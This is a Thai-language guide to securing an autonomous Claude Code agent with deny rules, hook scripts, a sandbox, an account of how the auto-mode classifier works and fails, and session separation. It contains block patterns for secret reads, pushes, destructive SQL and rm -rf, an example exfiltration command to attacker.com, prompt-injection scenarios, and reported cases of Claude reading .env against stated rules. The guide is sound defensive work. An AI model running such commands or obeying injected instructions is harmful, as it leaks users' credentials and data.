วิธีตั้งค่า Claude Code ไม่ให้ทำโปรเจ็กต์ของคุณพังระหว่างคืน

สิ่งที่เปลี่ยนไปในปี 2026: Claude Code แบบอัตโนมัติและเหตุการณ์จริง#

ก่อนหน้านี้ Claude Code จะหยุดหลังตอบทุกครั้งและขออนุญาตก่อนเขียนข้อมูลแต่ละครั้ง แม้จะไม่สะดวก แต่ก็ปลอดภัย เพราะคุณไม่มีทางหลับข้ามเหตุการณ์ได้ เนื่องจากเอเจนต์จะรอคำตอบ “yes” จากคุณ ในปี 2026 รูปแบบนี้เปลี่ยนไป Anthropic เปิดตัว auto-mode ซึ่งเป็นเอเจนต์ตัวแยกประเภทที่ตัดสินใจแทนคุณว่าจะอนุญาตแต่ละการกระทำหรือไม่ มีคำสั่ง /loop (เรียกใช้พรอมป์ต์เป็นช่วง ๆ ภายในเซสชัน) และ /schedule (ตั้งเวลาทำงานระยะยาวในรูปแบบ cron) เซสชันเบื้องหลังที่เปิดด้วย claude --bg จะเรียกใช้เอเจนต์ในเบื้องหลังโดยไม่มีเทอร์มินัล ฉันอธิบายโหมดอัตโนมัติอย่างละเอียดไว้ในคู่มือ “/goal ใน Claude Code: โหมดอัตโนมัติและ Agent View”

ปัญหาคือการเปิดตัวระบบอัตโนมัติเกิดขึ้นเร็วกว่าการพัฒนาด้านความปลอดภัย

ในเวลาเดียวกัน มีบั๊กสองรายการที่ยังเปิดอยู่ในรีโพซิทอรีของ Anthropic ซึ่งควรรู้ไว้ก่อนเพิ่ม permissions.deny ลงใน settings.json:

• Issue #44868 (7 เมษายน 2026): Claude Code อ่านเนื้อหา .env ด้วย grep -n แล้วนำไปใส่ในบทสนทนา แม้จะมีข้อห้ามชัดเจนใน CLAUDE.md บั๊กนี้ยังเปิดอยู่
• Issue #24846 (11 กุมภาพันธ์ 2026): กฎ permissions.read.deny สำหรับแพตเทิร์น .env* ไม่ถูกนำมาใช้ — Read อ่าน .env.local ทั้งที่มีแพตเทิร์น deny ถูกต้อง ปิดเป็นรายการซ้ำ แต่ยังไม่ได้แก้ไข

ช่องว่างสองอย่างแสดงว่าชั้นเดียวใน settings.json ไม่พอ ต่อไปเป็นสี่ชั้น permissions + hooks + sandbox + แยกเซสชัน แต่ละชั้นลดการเปิดรับได้ ไม่มีชั้นใดทำให้ชั้นอื่นครบ การประเมิน auto-mode ที่อ้างไม่พิสูจน์ว่า regex hook จับสิ่งที่มันพลาดได้ production ต้องใช้ OS environment แยกที่ไม่มี credentials หรือสิทธิ์เขียน production บังคับเครือข่ายนอกโมเดล และทดสอบขอบเขตก่อนปล่อยข้ามคืน

โซนโปรเจ็กต์สีเขียวและสีแดงคืออะไร?#

การสร้างระบบป้องกันแบบเดียวกันให้ทุกโปรเจ็กต์ไม่มีประโยชน์ โปรเจ็กต์ทดลองในเครื่องที่ไม่ได้เผยแพร่ภายนอกมีระดับความเสี่ยงต่างจากบริการที่จัดการการชำระเงินจริงและจัดเก็บข้อมูลลูกค้าโดยสิ้นเชิง หากใช้ระบบป้องกันแบบเดียวกันทุกที่ คุณจะทำให้การทำงานในโซนสีเขียวช้าลง และยังคงมีช่องโหว่ในโซนสีแดง

โปรเจ็กต์เปลี่ยนจากสีเขียวเป็นสีแดงทันทีที่มีเงื่อนไขข้อใดข้อหนึ่งในสามข้อนี้: มีลูกค้าจริง เริ่มมีเงินไหลผ่านระบบ หรือฐานข้อมูลมีข้อมูลส่วนบุคคลของผู้คน ก่อนถึงจุดนั้น คุณใช้ auto-mode กับ hooks ขั้นต่ำและไม่ใช้ sandbox ได้ หลังจากนั้นต้องปรับระบบป้องกันใหม่ตามการตั้งค่าเต็มรูปแบบในคู่มือนี้

หลักการสำคัญคือ ระดับการป้องกันขึ้นอยู่กับโซน ไม่ใช่ระยะการพัฒนา โปรเจ็กต์ทดลองในเครื่องที่ใช้บัญชี Stripe สำหรับทดสอบอยู่ในโซนสีเขียว ส่วนบริการที่มีลูกค้าจ่ายเงินหนึ่งรายและแบบฟอร์มลงทะเบียนถือว่าอยู่ในโซนสีแดงแล้ว แม้จะยังดูเหมือน “ฉบับร่าง” ก็ตาม การสับสนระหว่างสองโซนนี้เป็นกับดักที่พบบ่อยในโปรเจ็กต์ระยะแรก: “เรายังทำฉบับร่างอยู่ เดี๋ยวค่อยเพิ่มการป้องกัน” แล้วสัปดาห์ถัดมาลูกค้ารายแรกก็จ่ายเงิน

ลำดับชั้น permissions ใน settings.json ทำงานอย่างไร?#

Anthropic อธิบายลำดับการประเมิน permissions ไว้ในเอกสารทางการ: ระบบจะตรวจสอบกฎ deny ก่อน ตามด้วย ask แล้วจึง allow — กฎแรกที่ตรงกันจะเป็นตัวตัดสิน หมายความว่า deny มีผลเหนือ allow เสมอ หากคุณห้ามอ่าน .env ใน ~/.claude/settings.json แล้วมีคนตั้งค่า allow ใน .claude/settings.json ของโปรเจ็กต์ ข้อห้ามของคุณจะมีผล ไม่ใช่สิทธิ์ที่เขาตั้งไว้

ตัวอย่าง ~/.claude/settings.json ระดับผู้ใช้ที่ปลอดภัยและเรียบง่าย:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

สิ่งที่เกิดขึ้นในตัวอย่างนี้คือ กฎหกข้อแรกปิดกั้นการอ่านไฟล์ลับในไดเรกทอรีปัจจุบันและไดเรกทอรีย่อยทั้งหมด *.pem และ *.key คือคีย์ SSL/TLS และ SSH ส่วน credentials*.json เป็นชื่อไฟล์ที่ผู้ให้บริการคลาวด์นิยมใช้ สามรายการสุดท้ายคือไดเรกทอรีระบบที่มีคีย์ SSH ข้อมูลรับรอง AWS และคีย์ GPG

คีย์ disableBypassPermissionsMode: "disable" ปิดกั้นแฟล็ก --dangerously-skip-permissions (หรือที่เรียกว่าโหมด YOLO) จึงตัดความผิดพลาดประเภทหนึ่งออกไปได้อย่างถาวร แม้คุณเผลอใส่แฟล็กนี้ไว้ในสคริปต์หรือ alias Claude Code ก็จะไม่ยอมรับ ไม่ใช่แค่ลบแฟล็กออก แต่จะแสดงข้อผิดพลาด “mode disabled by managed settings”

นอกจากนี้ ตั้งแต่เวอร์ชัน 2.1.142 เป็นต้นไป ระบบจะไม่สนใจคีย์ defaultMode: "auto" หากอยู่ใน settings ระดับ project หรือ local วิธีนี้ช่วยป้องกันสถานการณ์ “ฉันเข้ารีโพซิทอรีของคนอื่น แล้ว .claude/settings.json ของเขาเปิดโหมดอัตโนมัติไว้เป็นค่าเริ่มต้น” Anthropic ระบุชัดเจนว่ารีโพซิทอรีไม่สามารถเปิดใช้ auto-mode โดยไม่ได้รับความยินยอมจากผู้ใช้

นี่คือแนวป้องกันชั้นแรก แต่หยุดแค่นี้ไม่ได้ เพราะยังมีช่องโหว่สองจุดที่คุณจะได้เรียนรู้ต่อไป

ทำไม permissions.deny จึงไม่เพียงพอ: GitHub issues ที่ยังเปิดอยู่ 2 รายการ#

ถ้า permissions.deny ทำงานได้ คู่มือนี้ก็คงจบไปตั้งแต่ส่วนที่แล้ว แต่มันทำงานไม่ได้

Issue #44868 (7 เมษายน 2026): ผู้ใช้เพิ่มข้อห้ามไว้อย่างชัดเจนใน CLAUDE.md ไม่ให้อ่าน .env, .dev.vars และไฟล์อื่นที่มีข้อมูลลับ แทนที่จะใช้ Read, Claude กลับเรียก grep -n SOMETHING .env คำสั่ง grep -n จะแสดงบรรทัดที่ตรงกันทั้งบรรทัดพร้อมหมายเลข ซึ่งรวมถึง API token จริง บรรทัดนั้นเข้าไปอยู่ใน tool_result ถูกแสดงในบทสนทนาของเซสชัน และบันทึกไว้ในประวัติ

ประเด็นละเอียดอ่อนที่ผู้เขียนชี้ให้เห็นคือ ปฏิกิริยาด้านความปลอดภัยของโมเดลเกิดขึ้นหลังจากสร้างผลลัพธ์แล้ว ไม่ใช่ก่อนเรียกใช้คำสั่ง กล่าวคือ Claude เรียก grep ก่อน ได้บรรทัดที่มี token แล้วแสดงในแชต จากนั้นจึงตรวจพบข้อผิดพลาดและ “ขอโทษ” เมื่อถึงตอนนั้น token ก็อยู่ในประวัติแชตแล้ว วิธีแก้เพียงอย่างเดียวคือเปลี่ยนคีย์

Issue #24846 (11 กุมภาพันธ์ 2026): ผู้ใช้ตั้งค่า permissions.read.deny โดยมีรายการที่รวมแพตเทิร์น **/.env* จากนั้นขอให้ Claude อ่าน .env.local เครื่องมือ Read ทำงานสำเร็จโดยไม่มีข้อผิดพลาดและแสดงเนื้อหาไฟล์

Issue นี้ถูกปิดเป็นรายการซ้ำ แต่ไม่ได้รับการแก้ไข ณ เวลาที่เขียนคู่มือนี้ (มิถุนายน 2026) ยังสามารถทำให้เกิดปัญหานี้ซ้ำได้

สรุปคือชั้น 1 ใน settings.json ไม่เสียเปล่า แต่ตัวอย่างนี้ไม่ได้วัดสัดส่วนการอ่านโดยไม่ตั้งใจที่ป้องกันได้ แต่ไม่ป้องกันคำสั่งผ่าน Bash (cat .env, grep API_KEY .env, head .env) บั๊กในการบังคับใช้กฎ (issue #24846) หรือการเรียกต่อเนื่องอย่างแนบเนียนผ่าน git diff หรือ git show บน commit ที่มี .env นี่จึงเป็นเหตุผลที่ต้องมีชั้นที่สอง — hooks

Hooks บล็อกการกระทำอันตรายที่รู้จักได้อย่างไร?#

Hooks ทำงานในระดับนามธรรมที่ต่างจาก permissions Permissions คือกฎที่โมเดลนำมาพิจารณาเมื่อตัดสินใจว่าจะทำอะไร ส่วน hook ทำงานต่างออกไป: โมเดลตัดสินใจเรียกใช้เครื่องมือ hook ทำงานระหว่างโมเดลกับระบบ ตรวจสอบอินพุต แล้วอนุญาตหรือปิดกั้น โมเดลไม่มีส่วนร่วมในการตัดสินใจของ hook เพราะเป็นโค้ด shell ที่คุณเขียนเอง

Anthropic อธิบายการปิดกั้นในเอกสาร hooks อย่างเป็นทางการ:

เรื่องนี้มีความหมายสองประการ ประการแรก hook ที่ตั้งถูกบล็อกคำขอเครื่องมือที่ตรงได้ สำหรับ PreToolUse exit code 2 บล็อกคำขอนั้น ไม่พิสูจน์ว่าสคริปต์รู้จักทุกคำสั่งอันตรายเทียบเท่า ประการที่สอง คุณใส่ข้อความที่มีความหมายไว้ใน stderr ได้ แล้ว Claude จะอ่านข้อความนั้นเป็นข้อผิดพลาดและลองใช้วิธีอื่น กล่าวอีกอย่างคือ hook ไม่ใช่แค่ “รั้ว” แต่เป็น “รั้วที่มีป้ายอธิบายว่าทำไมคุณถึงผ่านไม่ได้”

เหตุการณ์ที่ปิดกั้นด้วย exit 2 ได้:

• PreToolUse — ปิดกั้นการเรียกใช้เครื่องมือก่อนเริ่มทำงาน เป็นเหตุการณ์หลักสำหรับ hooks ป้องกัน
• PermissionRequest — ปฏิเสธการอนุญาตให้ทำสิ่งที่ Claude ขออนุญาต
• UserPromptSubmit — ปิดกั้นและลบพรอมป์ต์ของผู้ใช้ เหมาะเมื่อพรอมป์ต์มีข้อความน่าสงสัย (เช่น prompt injection จากอีเมลที่ถูกวางไว้)
• Stop — ป้องกันไม่ให้ Claude จบเซสชัน ใช้เป็น “ลูป” เพื่อให้เอเจนต์ทำงานต่อจนกว่าจะเป็นไปตามเงื่อนไขได้
• PreCompact — ปิดกั้นการบีบอัดบริบทอัตโนมัติ เหมาะหากต้องการเก็บบทสนทนาไว้จนกว่าจะตัดสินใจด้วยตนเอง
• WorktreeCreate — ปฏิเสธการสร้าง worktree เพื่อป้องกัน Claude พยายามโคลนรีโพซิทอรีไปยังที่ที่ไม่คาดคิด

อีกทางเลือกหนึ่งนอกจาก exit code 2 คือส่งคืน JSON ที่มีฟิลด์ hookSpecificOutput.permissionDecision โดย permissionDecision มีค่าได้สี่แบบ:

• allow — อนุญาตการกระทำอย่างชัดเจน โดยข้ามขั้นตอน permissions มาตรฐาน
• deny — ปิดกั้นการกระทำ เทียบเท่ากับ exit 2 สำหรับ PreToolUse
• ask — ส่งเรื่องให้ผู้ใช้ตัดสินใจ (มีกล่องโต้ตอบปรากฏขึ้น)
• defer — ส่งต่อการตัดสินใจไปยังตรรกะ permissions ปกติ

วิธีนี้ทำให้ hook ควบคุมได้มากกว่า exit code ด้วย permissionDecision: "ask" คุณเปลี่ยนการทำงานเงียบ ๆ ให้ต้องขอการยืนยันได้ โดยไม่ต้องปิดกั้นทั้งหมด นี่คือวิธีที่ฉันใช้กับ npm install <new package> และการเปลี่ยนแปลงไฟล์ lock

หากต้องการเรียนรู้เพิ่มเติมเกี่ยวกับ hooks และเหตุการณ์ทั้ง 31 รายการที่มีใน Claude Code ตอนนี้ ฉันอธิบายไว้ในคู่มืออีกฉบับ “Hooks ใน Claude Code: กฎพร้อมคัดลอก 7 ข้อ” ต่อไปฉันจะแสดง hooks สำหรับงานอัตโนมัติโดยเฉพาะ

ฉันใช้ hooks 7 รายการใดสำหรับงานข้ามคืน?#

นี่คือชั้นป้องกันที่สองซึ่งสำรองชั้นแรก hooks ทั้งหมดอยู่ใน .claude/hooks/, ลงทะเบียนผ่าน .claude/settings.json และต้องติดตั้ง jq

Hook 1: ป้องกันการอ่าน .env, .pem และ credentials.json

เพิ่มการตรวจ Read paths ที่เลือกกับคำสั่ง Bash อ่านข้อมูลลับที่พบบ่อย ไม่จับทุกเครื่องมือหรือทุกวิธีอ่านข้อมูลลับ ไฟล์: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

ลงทะเบียนใน .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

หลังติดตั้ง ให้เรียกใช้ chmod +x .claude/hooks/block-secret-reads.sh ทดสอบโดยขอให้ Claude อ่าน .env.local — คุณจะได้คำตอบ “Secret file. Use op:// references or env vars.” แทนเนื้อหาไฟล์

Hook 2: บล็อก git push ตรงตัวในเซสชันข้ามคืน

ตัวอย่างสำหรับงานไม่เฝ้านี้บล็อก git push ตรงตัวทุกแบบที่จับได้อย่างระมัดระวัง รวม push ไป feature branch ไม่อนุมาน branch ปัจจุบันหรือพิจารณาว่า force flag ปลอดภัย ไฟล์ .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

ลงทะเบียนผ่าน PreToolUse ด้วย matcher Bash เพราะบล็อกคำ push ที่รู้จักแทน parse flags กับ branch จึงจับ git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main และ push ตรงตัวในสาย && หรือ ; ได้ นี่เป็นตัวอย่างตรวจข้อความ offline ไม่ใช่คำสั่งให้รันกับ remote

ยังเป็น heuristic ข้อความ Git aliases, shell functions, git -C ... push, ชื่อคำสั่งประกอบ สคริปต์ และเครื่องมืออื่นข้ามได้ ไม่ใช่ shell parser สมบูรณ์ ต้องบังคับ protected branches ที่ Git server เอา credentials ที่ bypass ได้ออก และรันงานไม่เฝ้าในสภาพแวดล้อมแยกที่ไม่มีสิทธิ์เขียน production การที่ hook จับพลาดต้องไม่ให้สิทธิ์ production

Hook 3: ปิดกั้นการทำงาน SQL ที่ทำลายข้อมูล

จัดการกับเหตุการณ์ฐานข้อมูลถูกลบโดยตรง ไฟล์: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

ลงทะเบียนด้วย PreToolUse และ matcher: "Bash" สังเกตความแตกต่าง: DROP และ DELETE ที่ไม่มี WHERE จะถูกปิดกั้นทั้งหมด ส่วน UPDATE ที่ไม่มี WHERE จะเปลี่ยนเป็น ask — บางครั้งอาจมีเหตุผลให้ทำ (เช่น ตั้งค่า flag ให้ทุกรายการใน migration) แต่ต้องยืนยันด้วยตนเองเสมอ

Hook 4: ตัวกรอง rm -rf

ตัวอย่างมาตรฐานจากเอกสารของ Anthropic ซึ่งปรับให้ปฏิเสธพร้อมเหตุผล:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

hook อนุญาต rm -rf node_modules, rm -rf .next/cache และการลบอื่น ๆ ที่ระบุขอบเขตชัดเจน แต่ปิดกั้น rm -rf ., rm -rf /, rm -rf ~ และคำสั่งทำนอง “ลบทุกอย่าง”

Hook 5: ขอการยืนยันก่อนติดตั้งแพ็กเกจใหม่

hook นี้ช่วยรับมือการโจมตีห่วงโซ่อุปทาน หาก Claude ตัดสินใจเพิ่ม dependency ใหม่เอง จะมีกล่องโต้ตอบปรากฏขึ้น:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

hook นี้เปิดให้ติดตั้งจาก lockfile ได้โดยไม่ต้องยืนยัน ส่วนการเพิ่ม dependency ใหม่ต้องได้รับการยืนยัน

Hook 6: ป้องกัน package.json และไฟล์ Lock

การเปลี่ยนแปลงใด ๆ ใน manifest ของ dependency เป็นสัญญาณให้ใครสักคนตรวจสอบ โดยเฉพาะระหว่างคืน

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

ลงทะเบียนกับ PreToolUse โดยใช้ matcher Write|Edit

Hook 7: บันทึกตรวจสอบ Bash calls ทั้งหมดตั้งแต่ต้นจนจบ

หากเกิดปัญหาระหว่างคืน คุณต้องมีบันทึกครบถ้วนเพื่อทำความเข้าใจลำดับเหตุการณ์ ลงทะเบียนใน settings.json (hook ไม่มีสคริปต์แยกต่างหาก เพราะ jq จัดการทุกอย่าง):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

ไฟล์ .claude/audit.jsonl จะเพิ่มครั้งละหนึ่งบรรทัด ตอนเช้า หลัง /loop ทำงานข้ามคืน คุณเรียกใช้ tail -n 100 .claude/audit.jsonl | jq เพื่อดูว่าเอเจนต์ทำอะไรในแต่ละช่วง บันทึกตรวจสอบนี้สำคัญต่อการวิเคราะห์หลังเกิดปัญหา เพราะบทสนทนาอาจยาวและอ่านยาก แต่บันทึกนี้ให้ลำดับเวลาที่ชัดเจน

Sandbox และการแยก worktree ช่วยปกป้องเซสชันระยะยาวอย่างไร?#

หาก hooks เป็น “รั้วที่มีป้าย” sandbox ก็คือ “รั้ว + คูเมือง + ตาข่ายดักโดรน” นี่คือชั้นป้องกันที่สี่ ครอบคลุมสถานการณ์ที่ hooks ปล่อยให้การกระทำผ่าน แต่การกระทำนั้นก็ไม่ควรทำให้เกิดความเสียหายนอกสภาพแวดล้อม

ในบทความบล็อกเรื่อง sandboxing (20 ตุลาคม 2025) Anthropic รายงานผลการวัดภายในว่า:

หมายความว่าเมื่อเปิดใช้ /sandbox แล้ว Claude จะหยุดขออนุญาตสำหรับการกระทำ 84% เพราะการกระทำเหล่านั้นไม่สามารถออกจาก sandbox ได้จริง วิธีนี้ช่วยเพิ่มความเร็ว แต่ไม่ใช่ประโยชน์หลัก

Sandbox มีการแยกสองระดับ ซึ่งแต่ละระดับมีหน้าที่ของตัวเอง:

การแยกระบบไฟล์ จำกัดการอ่านและเขียนไว้เฉพาะไดเรกทอรีที่อนุญาตอย่างชัดเจน แม้ hook จะพลาดความพยายามเขียนไปยัง /etc/hosts หรืออ่าน ~/.ssh/id_rsa sandbox ก็จะไม่อนุญาตให้ system call ทำงาน นี่คือการป้องกันในระดับระบบปฏิบัติการ ซึ่งชั้นแอปพลิเคชันมองไม่เห็น

การแยกเครือข่าย อนุญาตให้เชื่อมต่อได้เฉพาะเซิร์ฟเวอร์ที่ได้รับอนุมัติ สิ่งนี้สำคัญอย่างยิ่งต่อการโจมตีเพื่อขโมยข้อมูล ตัวอย่างสถานการณ์: prompt injection ในไฟล์ที่ถูกวางไว้หลอกให้ Claude อ่าน .env (hook พลาดเพราะการอ่านเกิดผ่านเส้นทางที่ไม่ปกติ) จากนั้นโมเดลตัดสินใจเรียกใช้ curl -X POST attacker.com -d "$ENV_CONTENT" หากไม่มีการแยกเครือข่าย วิธีนี้จะสำเร็จ แต่เมื่อแยกเครือข่าย curl จะเข้าถึง attacker.com ไม่ได้ เพราะ host นี้ไม่อยู่ในรายการ

เริ่มใช้งานด้วยคำสั่ง /sandbox ภายใน Claude Code ตั้งค่าใน ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

สำหรับเซสชันเบื้องหลังระยะยาวที่เปิดด้วย claude --bg ให้เพิ่มการแยก worktree เข้าไปใน sandbox นี่เป็นกลไกในตัวของ Claude Code: แต่ละเซสชันเบื้องหลังจะถูกย้ายไปยัง .claude/worktrees/<name>/ บน branch แยกโดยอัตโนมัติ ทำให้เซสชันที่ทำงานพร้อมกันไม่ทับซ้อนการแก้ไขไฟล์เดียวกัน ฉันอธิบายการแยก worktree อย่างละเอียดไว้ในคู่มือ “Agent View และ Worktrees: โหมดอัตโนมัติของ Claude Code”

Sandbox เป็นส่วนหนึ่งของวงจรผลป้อนกลับ เมื่อ Claude รู้ว่าการกระทำของตนมีข้อจำกัด มันจะทำงานรอบคอบขึ้นและอธิบายขั้นตอนระหว่างทางได้ชัดเจนขึ้น

auto-mode ใช้ได้ที่ไหนในปี 2026 และใช้ไม่ได้ที่ไหน?#

ในเดือนมีนาคม 2026 Anthropic เปิดตัว auto-mode ในฐานะ “ทางสายกลางระหว่างการตรวจสอบด้วยตนเองกับการไม่มีมาตรการป้องกัน” เป็นโมเดล Sonnet 4.6 แยกต่างหากที่ประเมินการกระทำทุกอย่างของ Claude เทียบกับเกณฑ์ชุดหนึ่งก่อนดำเนินการ Anthropic อธิบายกลไกนี้ไว้ในบล็อก Anthropic Engineering:

Auto-mode มีข้อจำกัดสำคัญสองประการ:

• หากเซสชันมีการปฏิเสธจาก classifier ติดต่อกัน 3 ครั้ง หรือรวม 20 ครั้ง โมเดลจะหยุดและส่งต่อให้มนุษย์ วิธีนี้ช่วยป้องกันสถานการณ์ที่ “Claude วนซ้ำ พยายามหลีกเลี่ยงข้อจำกัดด้วยการปรับถ้อยคำคำสั่งเดิมเป็น 100 แบบ”
• Auto-mode อนุญาตการกระทำหากคล้ายกับ 93% ของกรณีทั่วไปที่ผู้ใช้มักอนุมัติอยู่แล้ว วิธีนี้ช่วยลดความเหนื่อยล้าจากการอนุญาต แต่ไม่ป้องกันการกระทำอันตรายที่ไม่ใช่กรณีทั่วไป

และนี่คือตัวเลขหลักที่ควรใส่ใจ:

17% ที่รายงานเป็น false-negative rate ของการประเมินนั้น ไม่ใช่ความน่าจะเป็นทุกการกระทำในโปรเจกต์คุณ ไม่พิสูจน์ว่า hook ตัวอย่างจับส่วนที่พลาดได้ โซนแดงต้องแยกสิทธิ์เขียน production กับข้อมูลลับอย่างบังคับ พร้อม protected branches ฝั่งเซิร์ฟเวอร์และ credentials ที่ bypass ไม่ได้

ข้อสรุปคือใช้ hooks เป็นการตรวจเสริมในสภาพแวดล้อมทิ้งและกู้ได้ แม้โปรเจกต์ในเครื่องมีไฟล์ untracked หรือ credentials ที่ Git คืนไม่ได้ โซนแดงต้องให้ access controls จริงจำกัดความเสียหายเมื่อ hook พลาด ชุด regex ไม่เปลี่ยนการรัน shell ใด ๆ ให้เป็นการรับประกันปลอดภัยแน่นอน

ทำไมจึงควรแยกบริบทออกเป็นเซสชันสามประเภท?#

งานสามประเภทนี้ไม่ควรอยู่ในเซสชันเดียวกันเด็ดขาด:

ประเภท 1: ทำงานกับข้อมูลส่วนบุคคล เซสชันเข้าถึงฐานข้อมูลโปรดักชัน ส่งอีเมลได้ และมองเห็นข้อมูลรับรอง แต่เข้าถึงเอกสารภายนอก (อีเมล, PDF, หน้าเว็บ) ไม่ได้ และส่งข้อมูลไปยังที่อยู่ใดก็ได้ไม่ได้

ประเภท 2: ประมวลผลเอกสารภายนอก เซสชันอ่านและวิเคราะห์อีเมลขาเข้า ดาวน์โหลดหน้าเว็บ และอ่าน PDF จากอีเมลได้ แต่ไม่มีสิทธิ์เข้าถึงฐานข้อมูลที่มีข้อมูลส่วนบุคคล และส่งสิ่งใดออกไปภายนอกโดยไม่มีการยืนยันอย่างชัดเจนไม่ได้

ประเภท 3: เผยแพร่ข้อมูลภายนอก เซสชันโพสต์บนเครือข่ายสังคม ส่งแคมเปญอีเมล และสร้าง pull requests ได้ แต่ไม่มีสิทธิ์เข้าถึงข้อมูลส่วนบุคคลและไม่ประมวลผลเนื้อหาขาเข้า

เหตุใดจึงต้องแยก? หากเซสชันเดียวทำทุกอย่าง prompt injection เพียงครั้งเดียวใน PDF ที่ถูกวางไว้ (เอเจนซีคู่แข่งส่ง “ใบแจ้งหนี้” มาให้) ก็เพียงพอให้เอเจนต์อ่านฐานข้อมูลลูกค้า ค้นหาอีเมลของลูกค้าเหล่านั้น และส่งไปยังที่อยู่ของผู้โจมตีได้ในรอบเดียว การกระทำแต่ละอย่างในลำดับนี้ถูกต้องตามงานของแต่ละประเภท แต่เมื่อรวมกันแล้วคือการรั่วไหล

